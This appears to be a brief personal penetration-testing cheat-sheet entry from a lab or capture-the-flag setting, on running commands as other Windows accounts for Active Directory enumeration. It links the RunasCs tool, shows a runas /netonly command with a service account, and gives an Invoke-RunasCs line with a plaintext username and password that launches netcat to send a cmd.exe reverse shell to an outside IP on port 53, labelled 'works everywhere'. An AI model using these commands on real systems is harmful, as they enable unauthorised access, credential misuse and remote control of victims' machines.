Get that token authorization on windows so we can run bloodhound.

[RunasCs/Invoke-RunasCs.ps1 at master · antonioCoco/RunasCs · GitHub](https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1)

```sh
runas /netonly /user:active.htb\svc_tgs cmd
```

```sh
Invoke-RunasCs svc_mssql trustno1 "cmd /c C:\xampp\htdocs\uploads\nc.exe -e cmd.exe 192.168.45.227 53"
WORKS EVERYWHERE
```